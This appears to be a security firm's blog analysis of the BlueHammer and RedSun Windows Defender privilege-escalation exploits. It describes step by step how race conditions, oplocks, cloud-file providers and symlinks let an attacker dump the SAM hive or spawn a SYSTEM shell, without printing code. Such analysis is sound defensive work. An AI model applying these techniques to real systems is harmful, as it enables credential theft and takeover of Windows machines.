This article takes a closer look at two recent vulnerabilities – BlueHammer and RedSun – and explains why they have attracted so much attention.
In the past few months, a security researcher that goes by the name of Chaotic Eclipse has published several serious Windows vulnerabilities, including several Local Privilege Escalation (LPE) attack vectors and a BitLocker encryption bypass. These vulnerabilities were published by uploading the proof-of-concept code directly to GitHub to repositories belonging to the user Nightmare-Eclipse. The exact motivation of this researcher remains unclear, and the Nightmare-Eclipse account has since been deleted by Microsoft. In this blog entry, we will take a closer look at two of these vulnerabilities - BlueHammer and RedSun - and why they have been so prominent within the cyber security community.
At the time of writing, there are six vulnerabilities that have been published by Chaotic Eclipse:
All these exploits share an exploitation pattern: find questionable behavior within a trusted Windows component and abuse it to trick the component into performing a malicious operation in an elevated context, e.g. overwriting a system binary with an attacker-controlled one or dumping locally stored password hashes. This suggests an intimate knowledge of Windows components by the researcher, which in turn most likely means that these findings are the result of months, if not years, of research. This is also the reason why it took Microsoft a considerable amount of time to fix these issues. These are not simple oversights in program logic, but exploitation of program behavior of trusted Windows components.
BlueHammer is the first vulnerability published by Chaotic Eclipse. It operates by exploiting a TOCTOU race condition that arises when Defender performs an update, while simulataneously analyzing a detection. The core issue is that Defender validates the file path at the time of checking a file, but does not revalidate the path at the time of the actual file operation.
The exploit starts by checking for Defender signature updates and retrieving an update's title once it has been detected. This will be used later on in the exploit to provide an update for Defender to write.
Afterwards, a file containing the EICAR string is created in a temporary working directory. This file will then be used to trigger a Defender detection.
Before a detection is triggered, the exploit opens RstrtMgr.dll and acquires a batch opportunistic lock on it. This is an important step, since whenever Defender prepares to remediate a threat, it calls the Restart Manager to check whether any processes have a lock on the malicious file. By acquiring a batch oplock on the DLL, the kernel will suspend Defender's open operation on it until the exploit releases the oplock and also signal to the exploit process that Defender has begun its remediation process.
After the exploit has received a signal from the kernel, it proceeds to create a separate thread that will register a non-existant cloud file sync provider and configure a Volume Shadow Copy directory as a sync root under this provider. This will block Defender's access to the Volume Shadow Copy Service (VSS), since the hydration policy CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED requires every file access to be validated by the corresponding cloud provider. Since the cloud provider in this scenario is the exploit itself, it will not validate and thereby block Defender.
Defender is now blocked at two points: on the open operation on RstrtMgr.dll and by the Cloud File provider. At this point, the exploit plants two NT object manager symlinks. The first symlink points Defender's update staging directory, WDUpdateDirectory, to an attacker-controlled destination. The second points mpasbase.vdm, Defender's main signature definition file, to \\Windows\\System32\\Config\\SAM.
The final piece of the setup is an RPC call to Defender, which triggers a definition update via an undocumented LRPC interface - IMpService. This call instructs Defender to process a definition update from the attacker-controlled directory.
With this setup in place, the following will happen after Defender is unblocked:
In the end, Defender effectively dumps SAM to an attacker-controlled directory. This file can then be used to e.g. takeover a local adminitrator's account.
The RedSun vulnerability is similar to BlueHammer. The difference is that it exploits a different Defender behavior. When Defender detects and analyzes suspicious files that are cloud-tagged, it then writes them back to the location where they were found at the time of detection. This is another TOCTOU race condition, as Defender does not validate the file path at the time of the writeback operation, meaning that if the path is changed between the moment Defender read the path at detection time and the time the writeback operation takes place, Defender will write the file to the modified location with its elevated rights.
The exploit starts by opening a named pipe for later communication with a privileged process. It will essentially tell the exploit where to place the resulting SYSTEM shell and facilitates communication between the attacker's low-privileged session and the SYSTEM process launched by the exploit.
The exploit then proceeds in a similar manner to BlueHammer - a batch oplock is placed in a separate thread on a Volume Shadow Copy of a file, where the EICAR string will later be written. This file will then be opened with the FILE_EXECUTE flag, which will trigger a detection, and Defender will be suspended due to the oplock previously placed on the file. The main thread and the new thread synchronize on the `gevent` handle.
While Defender stalls, the exploit registers a Cloud File provider with a partial hydration policy. This policy allows cloud-backed files to exist on the filesystem as stubs, without the kernel demanding full hydration before any file operations proceed. The sync root of this provider is placed in the same working directory, where the EICAR file triggered a detection. A placeholder file is created in the sync root with the same name as the EICAR file. The reason for setting up this "cloud infrastructure" is to trigger Defender's writeback behavior for cloud files, and swap out the cloud directory with a NT object manager symlink to a Windows directory containing a service binary.
With the cloud syncroot in place, the first oplock is released. The entire directory containing the file that triggered the detection is then moved to a temporary directory. A fresh working directory without any cloud attributes is re-created in its place, along with a new "spoof work file" at the same location Defender was originally trying to open. This file is named identically to a Windows service binary (TieringEngineService.exe), and will trigger Defender to perform a privileged open operation on the service binary. A batch oplock is then immeaditely placed on this new file. This oplock stalls defender again on opening the "cloud file" that has been swapped in.
Afterwards, a reparse point is created that points to C:\Windows\System32. Any process that traverses a path via the exploit's working directory now resolves to C:\Windows\System32. In particular, once the second oplock is released, Defender will follow this path into System32.
Once the second oplock is released and Defender's privileged open finishes, a retry loop starts that wins a race condition against Defender's write. The FILE_SUPERSEDE flag is crucial when acquiring the file handle. This flag signals that the file write does not simply replace the file's content, but completely replaces the file, both its contents along with associated data. In particular, the attacker's token is written as the file's creator. This will later allow the exploit to start the associated service.
Once a file handle is returned, the payload is copied to the system directory. In the code snippet below, mx is the currently running binary, which overwrites the TieringEngineService.exe service binary. This binary is then launched in the LaunchTierManagementEng method.
The service is initialized with the GUID of the original TieringEngineService.exe service (Storage Tiering Management Engine) as an out-of-process COM server via the CLSCTX_LOCAL_SERVER flag in the LaunchTierManagementEng method. The process actually running is the RedSun exploit.
RedSun checks if it is running in an elevated context in the IsRunningAsLocalSystem method. If it is, it attempts to launch a console and place it in the attacker's session via the named pipe created at the start of the exploitation process.
The SYSTEM process then connects to the named pipe created earlier. The attacker's session ID is stamped onto a duplicated token via the SetTokenInformation method. A connhost.exe process is then created with this token and a SYSTEM shell appears in the attacker's session.
Since the exploits were published on GitHub, Microsoft has released security updates for both exploits. Therefore, the mitigation for both exploits is to simply install the corresponding security patches for Windows.
These vulnerabilities, however, are not only interesting from a research standpoint, but also highlight a trend in exploit development that has been ongoing for years. More and more zero-days have appeared in the last few years that focus on exploiting program behavior and interaction with other system components, rather than flaws in program logic. The two vulnerabilities analyzed in this blog entry are particularly insidious, since they target a component that should be trusted without hesitation or second thought - antivirus software. If you cannot trust your antivirus software, i.e. the entity that is supposed to detect threats and protect your systems from them, then what can you trust?
"It's the oldest question of all, George. Who can spy on the spies?"
- John le Carré
This issue highlights the importance of thorough testing in regards to critical components, such as antivirus and EDR software. Such components should not only be tested in terms of code consistency, but also interactively, with other system components. It is not enough to be able to say "our software does not contain any vulnerabilities". The requirement now is "our software does not contain any vulnerabilities and cannot be used to create vulnerabilities".
Another issue being discussed are the rules of engagement regarding vulnerability disclosure. Chaotic Eclipse has published proof-of-concept code for these vulnerabilities without coordinating their efforts with Microsoft. The researcher has stated their reasoning for this in a blog post:
"Normally, I would go through the process of begging them to fix a bug but to summarize, I was told personally by them that they will ruin my life and they did and I'm not sure if I was the only who had this horride experience or few people did but I think most would just eat it and cut their losses but for me, they took away everything."
Some view this behavior as reckless, since these exploits have been used in real-world attacks, resulting in considerable damage to companies and individuals that have nothing to do with the researcher's conflict with Microsoft. On the other hand, some argue that if their story is true, then they were left with no other choice than to "go public" with their findings, since it is better that everyone know about the existence of these vulnerabilities, than for them to be quietly swept under the rug, and, perhaps later be discovered by more nefarious actors.
Regardless of one's thoughts on this situation, it definitely feels like the cyber security reasearch landscape will experience some serious changes in the coming months.
If you would like to read further technical insights into the remaining vulnerabilities, or if you have any questions, feedback or project requirements, please feel free to contact research@avantguard.io at any time.
Process Injection is essential in red teaming and serves various strategic objectives, enabling attackers to expand their capabilities.
In Threadless Ops II, we combine threadless injection with evasion techniques to bypass EDR heuristics. Using Crystal Palace lets us modularly...
Why NTLMv1 is insecure and two of the most popular attack vectors: brute-force attacks (particularly rainbow table attacks) and relaying attacks.
